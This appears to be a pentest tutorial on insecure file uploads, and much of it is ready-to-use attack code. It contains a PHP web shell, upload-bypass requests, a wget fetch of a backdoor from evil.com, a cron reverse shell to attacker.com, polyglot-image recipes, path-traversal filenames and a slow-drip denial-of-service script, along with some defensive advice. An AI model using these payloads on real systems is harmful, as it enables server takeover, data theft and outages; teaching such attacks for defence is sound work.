Insecure File Uploads Pentest
That Innocent Profile Picture Upload? It Might Execute Code on Your Server.

# Step 1: Attacker creates a simple PHP web shell
# File: innocent_photo.php (or innocent_photo.jpg.php)

<?php
// This entire file is just 1 line of code
// But it gives complete server control
system($_GET['cmd']);
?>

# Step 2: Attacker uploads the file
# Your frontend validation says "only images allowed"
# But the attacker bypasses this by:
# - Changing Content-Type header to image/jpeg
# - Modifying the request directly via Burp Suite
# - Double extension: photo.jpg.php

curl -X POST https://yourapp.com/api/upload \
  -F "avatar=@innocent_photo.php;type=image/jpeg"

# Step 3: If the file is stored in a web-accessible location...
# Attacker visits: https://yourapp.com/uploads/innocent_photo.php?cmd=whoami

# Response: www-data
# The attacker now has shell access to your server

# Step 4: Escalation
https://yourapp.com/uploads/innocent_photo.php?cmd=cat /etc/passwd
https://yourapp.com/uploads/innocent_photo.php?cmd=wget http://evil.com/backdoor.sh
https://yourapp.com/uploads/innocent_photo.php?cmd=bash backdoor.sh

# Result: Persistent backdoor, data exfiltration, lateral movement

# Common Extension Bypass Techniques

# 1. Double Extensions (Apache may execute the last valid one)
malware.php.jpg      # Some servers execute PHP despite .jpg ending
malware.jpg.php      # Or vice versa depending on config

# 2. Case Manipulation
malware.PhP
malware.pHp
malware.PHP

# 3. Null Byte Injection (legacy systems)
malware.php%00.jpg   # PHP sees: malware.php
malware.php\x00.jpg  # Server truncates at null byte

# 4. Alternative PHP Extensions
malware.phtml
malware.phar
malware.phps
malware.php3
malware.php4
malware.php5
malware.php7

# 5. Server-specific Handlers
malware.cgi          # CGI scripts
malware.pl           # Perl
malware.py           # Python
malware.jsp          # Java Server Pages
malware.aspx         # ASP.NET

# 6. .htaccess Upload (if allowed)
# First upload a .htaccess file:
AddType application/x-httpd-php .jpg

# Now ANY .jpg file in that directory executes as PHP!
# Upload "innocent.jpg" containing PHP code
# Visit: /uploads/innocent.jpg -> Code executes

# 7. Trailing Characters
malware.php.
malware.php::$DATA    # Windows NTFS alternate data stream
malware.php/          # Some servers strip trailing slash

# Testing Strategy:
# PentestMate tests ALL of these variations automatically
# against every file upload endpoint in your application

# Creating a Polyglot: Both valid JPEG and valid PHP

# Method 1: Inject PHP into EXIF metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' innocent.jpg

# The file passes all image validation checks:
# - Valid JPEG magic bytes (FF D8 FF)
# - Valid EXIF structure
# - Displays correctly as an image
# - getimagesize() returns valid dimensions

# But when executed by PHP, the comment is parsed as code

# Method 2: Append PHP after image data
cat legitimate_image.jpg > polyglot.php
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php

# The file starts with valid JPEG bytes
# Image libraries read it as a valid image
# PHP ignores the binary data until it finds <?php

# Method 3: Use ImageMagick or PHP to inject code
# Some image processing creates exploitable conditions

<?php
$image = imagecreatefromjpeg('input.jpg');
// Attacker has placed PHP in the color palette
// When image is processed and saved...
imagejpeg($image, 'output.jpg');
// The PHP code survives in output if not sanitized
?>

# Defense: Process all uploads through image libraries
# Re-encode images to strip any embedded code
# Store files outside web root
# Never execute user-controlled file paths

# The Attack: Control the destination path through filename

# Normal upload request:
POST /api/upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="photo.jpg"

# Attacker's modified request:
POST /api/upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="../../../etc/cron.d/backdoor"

# If the server naively joins paths:
upload_dir = "/var/www/uploads/"
filename = request.filename  # "../../../etc/cron.d/backdoor"
final_path = upload_dir + filename
# Result: /var/www/uploads/../../../etc/cron.d/backdoor
# Resolves to: /etc/cron.d/backdoor

# Now the attacker uploads cron content:
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'

# Every minute, the server connects back to attacker
# Full root shell access

# Other dangerous targets:
../../../home/user/.ssh/authorized_keys    # SSH access
../../../var/www/html/backdoor.php         # Web shell in doc root
../../../tmp/evil.so                        # Shared library injection
../../.htaccess                             # Apache config override

# Vulnerable code pattern (Python example):
import os
def save_upload(file):
    # WRONG: Trusting user-supplied filename
    path = os.path.join('/uploads', file.filename)
    file.save(path)
    
# Secure code pattern:
import os
import uuid
def save_upload(file):
    # RIGHT: Generate safe filename server-side
    safe_name = str(uuid.uuid4()) + '.dat'
    path = os.path.join('/uploads', safe_name)
    file.save(path)

# Attack Vector 1: ZIP Bomb (Decompression Bomb)
# A 42KB zip file that expands to 4.5 PETABYTES

# The classic "42.zip" contains nested zip files
# Each layer expands 16x until reaching 4.5PB
# Servers that auto-extract uploads crash instantly

# Attack Vector 2: Image Processing Bomb
# Create an image with extreme dimensions

<?php
// Malicious image: 65535 x 65535 pixels
// When PHP tries to load this into memory:
// 65535 * 65535 * 4 bytes (RGBA) = 17.1 GB RAM

$image = imagecreatefrompng($_FILES['upload']['tmp_name']);
// Server runs out of memory, process killed
// Repeat to exhaust server resources
?>

# Attack Vector 3: Slow Drip Upload
# Keep connection open with extremely slow data transfer
# Each connection holds server resources

import socket
import time

sock = socket.socket()
sock.connect(("target.com", 80))
sock.send(b"POST /upload HTTP/1.1\r\n")
sock.send(b"Content-Length: 1000000\r\n\r\n")

# Send 1 byte per second
for i in range(1000000):
    sock.send(b"A")
    time.sleep(1)

# With enough parallel connections, server is paralyzed

# Defense Strategy:
# 1. Set maximum file size limits (both in app and web server)
# 2. Set maximum image dimensions before processing
# 3. Process uploads in isolated containers with resource limits
# 4. Use streaming parsers, do not load entire files into memory
# 5. Set connection timeouts and request body timeouts